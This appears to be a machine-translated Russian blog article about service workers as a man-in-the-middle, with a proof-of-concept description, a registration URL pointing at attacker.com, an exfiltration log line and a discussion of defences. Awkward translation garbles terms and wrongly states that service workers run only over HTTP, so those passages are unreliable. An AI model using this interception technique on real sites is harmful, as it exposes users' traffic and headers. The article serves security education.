Возможны ли они и представляют ли они реальный риск?

Впервые я столкнулся с концепцией сервис-воркера во время Defcon CTF. В одной из задач нам пришлось зарегистрировать сервис-воркер, чтобы перехватить пользовательский трафик и перенаправить его на наш сервер. Эта концепция казалась интересной и опасной, поэтому я исследовал ее и в конце концов понял, что это будет хорошая тема для статьи об использовании сервис-воркеров в качестве «человека посередине» (MitM) и о возможности ее применения в реальном мире.

Что такое обслуживающий персонал?

Конечно, ваш первый вопрос, скорее всего, будет: Кто вообще такой сервисный работник? В Руководстве Google для веб-разработчиков их описывают следующим образом:

«Service worker - это программируемый сетевой прокси, который позволяет вам контролировать обработку сетевых запросов с вашей страницы».

Вот и все! Он уже пахнет MitM! Service worker - это фрагмент кода JavaScript, который разработчики могут зарегистрировать и активировать на своем веб-сайте. Он работает в фоновом режиме браузера как прокси-сервер и принимает каждый запрос в определенной области. Более того, сервис-воркер обрабатывает запросы и отвечает на них. Например, он может отправлять контент, загруженный из кеша, пересылать первоначальный запрос для возврата ответа или даже отвечать другим документом (см. Поток запросов ниже). Service worker работает независимо от веб-приложения, даже если соответствующий веб-сайт закрыт. В некоторых случаях сервис-воркер запускается даже при закрытом браузере (например, на Android).

Таким образом, сервис-воркеры могут использоваться для повышения производительности веб-приложения и обеспечения полной доступности приложения в автономном режиме, предоставляя ранее загруженный контент, обслуживаемый из кеша. Сервис-воркеры работают независимо от веб-приложений. Следовательно, они могут получать сообщения непосредственно с сервера и являются основой для API уведомлений и push-уведомлений.

Установите нашего человека посередине

Все это впечатляет и показывает, насколько сильны работники сферы обслуживания! Но как их можно было использовать в качестве MitM? Чтобы понять это, нам сначала нужно посмотреть, как работают сервис-воркеры.

На рисунке выше показан упрощенный жизненный цикл сервис-воркера. Сервисный работник должен быть сначала зарегистрирован на веб-сайте, прежде чем его можно будет использовать. После регистрации браузер установит воркер в фоновом режиме. Как только он установлен, сервис-воркер получает событие activate, которое разработчики обычно используют для инициализации загрузки статических файлов в кэш. Затем служебный воркер переходит в состояние ожидания, в котором он принимает два состояния: либо он завершен для экономии памяти, либо обрабатывает fetch и события сообщений. Это включает в себя все запросы со страниц, которые попадают в сферу действия воркера.

Если новая служба зарегистрирована, веб-страница отдает приоритет использованию старого работника и устанавливает нового работника службы в состояние waiting. После закрытия веб-страницы старый сервисный работник удаляется, а новый активируется. Это может быть важно для MitM, поскольку это означает, что рабочий MitM загружается только после перезагрузки веб-страницы.

Выше можно увидеть два фрагмента кода. Первый фрагмент используется для регистрации сервис-воркера. Важно знать, что сервис-воркер может быть установлен только из местоположения в том же домене. Это усложняет задачу злоумышленникам. Тем не менее, можно использовать произвольную загрузку файла или аналогичный подход, чтобы обойти это ограничение (подробнее об этом позже).

Второй фрагмент кода показывает определение сервис-воркера. Событие fetch всегда активируется, когда веб-сайт отправляет запрос. В приведенном выше примере рабочий возвращает Hello World! только при получении запроса.

Теперь, когда мы знаем, как в целом используются сервис-воркеры, давайте посмотрим на доказательство концепции MitM:

В приложении Flask мы видим, что я добавил открытый редирект. Это сделано потому, что адрес, с которого загружается сервис-воркер, должен иметь то же происхождение. Я расскажу об этом подробнее позже в разделе ограничений. Отображаемый index.html содержит стандартный установочный код сервис-воркера, который мы видели ранее, с той лишь разницей, что URL-адрес сервис-воркера использует открытое перенаправление: https://victim.com/?url=https://attacker.com/static/sw.js.

Сам сервис-воркер получает событие fetch при каждом запросе и впоследствии отправляет два запроса. Первое событие выборки (в строке 4) отправляет запрошенный URL и информацию заголовка в домен злоумышленника. Излишне говорить, что к этому запросу можно добавить произвольную информацию. Второе событие выборки (в строке 6) отправляет запрос на изначально запрошенный URL-адрес, чтобы вернуть реальный ответ пользователю.

В журнале доступа ниже показана сторона злоумышленника 29 июня 2020 г., когда пользователь запросил https://victim.com/foo без какой-либо информации в заголовке. Инициатором этого запроса является сервис-воркер из https://victim.com/?url=https://attacker.com/static/sw.js.

123.456.789.123 — — [29/Jun/2020:00:25:02 +0000] “GET /mitm?url=https://victim.com/foo&headers={} HTTP/1.1” 404 209 “https://victim.com/?url=https://attacker.com/static/sw.js" “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36”

Если вам интересно, пользовались ли вы когда-нибудь сервис-воркером или нет, то определенно использовали. Откройте консоль разработчика, где все они перечислены. Например, в Google Chrome он находится на вкладке «Приложение» в разделе «Сервис-воркеры». На картинке ниже показан наш сервис-воркер MitM:

Какие есть ограничения?

Идея использования мощной концепции сервис-воркеров в качестве MitM не нова. На самом деле, сами сервис-воркеры уже имеют множество интегрированных функций для усложнения и предотвращения атак MitM.

Первая и наиболее очевидная защита заключается в том, что злоумышленник должен установить сервис-воркер, выполнив JavaScript. Это возможно при злоупотреблении XSS или другими атаками внедрения кода. Во избежание простейших атак сервис-воркеры работают только с HTTP. В противном случае злоумышленник в открытом Wi-Fi может изменить трафик и включить установочный код JavaScript. На самом деле веб-сайт без HTTP в наши дни - большая редкость. Тем не менее, это удобный защитный элемент.

Следующая защитная мера (как было показано ранее) - это безопасность, обеспечиваемая доменом, из которого загружается сервисный воркер. Сервисные воркеры могут быть установлены только из того же исходного домена, что означает, что злоумышленникам необходимо либо загрузить свой служебный файл на веб-сервер, либо использовать открытое перенаправление. Как правило, веб-разработчики стараются избежать обеих проблем. Более того, файл нужно интерпретировать как JavaScript. По большей части вторая мера обеспечивает неплохую защиту.

Третья и последняя защитная мера - это область, в которой могут работать обслуживающие работники. По умолчанию путь сервис-воркера является корнем области и может быть расширен только на все каталоги ниже. Другими словами, если ваш сервисный воркер MitM расположен по адресу /example/sw.js, будет возможно установить сервисный воркер только для /example/*, а не /foobar/* или по любому другому пути. Единственное исключение - заголовок service-worker-allowed. Это позволяет нам расширить область действия до произвольных путей. Однако заголовок должен быть установлен веб-сервером. Очевидно, это только в том случае, когда веб-сайт уже использует сервис воркеров. В зависимости от реализации веб-сайта введение нового сервис-воркера может вызвать конфликт, когда новый сервис-воркер обгонит старого. Однако, если веб-сайт реализован правильно, сервисный работник MitM будет удален после одного использования.

Учитывая все обстоятельства, реальный вопрос заключается в следующем: «Вероятно ли, что злонамеренный пользователь воспользуется / может использовать этот метод атаки?» Если честно, я не думаю, что существует много ситуаций, когда возможно использование сервис-воркера MitM. Требуется внедрение кода и файл в одном домене - плюс все это маловероятно, чтобы попасть в корень веб-сайта. Хотя такая атака может быть маловероятной, это интересная концепция для размышлений. А если позволят обстоятельства, последствия будут разрушительными.

Резюме

В этой статье обсуждается использование сервис-воркеров в качестве MitM и представлено подтверждение концепции. Хотя этот метод является скорее теоретической идеей, чем атакой, которую можно использовать, знание об этих типах атак ценно для каждого разработчика и эксперта по безопасности.

Спасибо за чтение. Надеюсь, вам эта тема будет так же интересна, как и мне!

И последнее замечание, которое я хотел бы подчеркнуть: эти знания не должны никого побуждать к злоупотреблению проблемами безопасности. Вместо этого я хочу, чтобы все знали о том, что теоретически возможно, и развивались с учетом этой осторожности. Что еще более важно, если вы обнаружите какие-либо проблемы, которые позволяют совершить такую ​​атаку, не используйте их. Сообщите о них и помогите решить проблему.

Есть много возможностей проверить свои навыки на законных основаниях, с многочисленными отличными CTF каждую неделю или с помощью программ вознаграждения за ошибки. В любом случае, мне приятно учиться и делиться со всеми новыми вещами. Удачного взлома!

Ресурсы